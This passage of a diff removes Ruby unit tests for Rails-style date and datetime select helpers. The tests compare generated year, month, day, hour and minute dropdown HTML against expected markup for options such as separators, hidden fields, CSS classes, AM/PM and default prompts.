- expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
- end
-
- def test_select_date_with_separator_discard_month_and_day
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" />\n)
- expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_month => true, :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
- end
-
- def test_select_date_with_hidden
- expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003"/>\n)
- expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
- expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :prefix => "date[first]", :use_hidden => true })
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :prefix => "date[first]", :use_hidden => true })
- end
-
- def test_select_date_with_css_classes_option
- expected = %(<select id="date_first_year" name="date[first][year]" class="year">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]" class="month">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]" class="day">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true})
- end
-
- def test_select_datetime
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
- end
-
- def test_select_datetime_with_ampm
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
- expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :ampm => true)
- end
-
- def test_select_datetime_with_separators
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :datetime_separator => ' &mdash; ', :time_separator => ' : ')
- end
-
- def test_select_datetime_with_nil_value_and_no_start_and_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
- end
-
- def test_select_datetime_with_html_options
- expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
-
- expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
- end
-
- def test_select_datetime_with_all_separators
- expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << "/"
-
- expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << "/"
-
- expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << "&mdash;"
-
- expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << ":"
-
- expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { :datetime_separator => "&mdash;", :date_separator => "/", :time_separator => ":", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
- end
-
- def test_select_datetime_should_work_with_date
- assert_nothing_raised { select_datetime(Date.today) }
- end
-
- def test_select_datetime_with_default_prompt
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
- expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
